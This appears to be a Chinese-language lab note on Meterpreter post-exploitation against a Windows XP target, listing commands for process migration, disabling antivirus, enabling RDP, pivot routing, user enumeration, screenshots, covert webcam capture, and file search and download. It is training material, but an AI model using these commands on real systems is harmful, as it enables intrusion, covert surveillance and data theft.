在獲得目標的Meterpreter shell后 進行信息收集是后滲透工作的基礎
記錄一下關於meterpreter 信息收集的使用
環境: kali linux 192.168.190.141
xp靶機 192.168.190.140
生成木馬 監聽反彈shell上線
信息收集:
========================================================================================================================
0x01進程遷移:
ps命令獲取目標正在運行的進程:
getpid命令查看 meterpreter shell的進程號:
可以看到pid為488 進程名為win.exe
使用migrate命令 進行shell的進程遷移:
成功遷移到pid為768的explorer.exe進程中。
遷移后原shell的進程(pid為488)會自動關閉,沒有關閉也可以輸入kill指令關閉 kill 488
也可以使用自動遷移進程命令:
run post/windows/manage/migrate
0x02 系統命令
獲得穩定進程后,接下來收集系統信息。
sysinfo查看目標系統信息
查看是否是虛擬機 run post/windows/gather/checkvm
idletime命令查看目標機最近運行時間:
route命令查看目標機完整網絡設置:
getuid獲得用戶名和計算機名稱
run post/windows/manage/killav 命令關閉殺毒軟件
run post/windows/manage/enable_rdp 開啟3389
run get_local_subnets 查看目標機本地子網情況
在meterpreter 會話上直接添加去往目標網段的路由
run autoroute -s xxxxx
查看路由添加情況
run autoroute -p
枚舉當前有多少用戶:
run post/windows/gather/enum_logged_users
screenshot命令抓取主機屏幕截圖:
webcam_list 查看目標機是否有攝像頭;
webcam_snap命令打開攝像頭,拍一張照片
webcam_stram命令開啟直播模式
shell命令進入目標機shell;
exit停止meterpreter會話 也可以用於shell返回meterpreter會話。
文件系統命令
pwd或者getwd查看shell處於的目標
getlwd 查看當前處於本地哪個目錄
cd 切換目錄 search搜索文件 例如 search -f *.txt -d c:\\
download 命令下載文件
upload命令上傳文件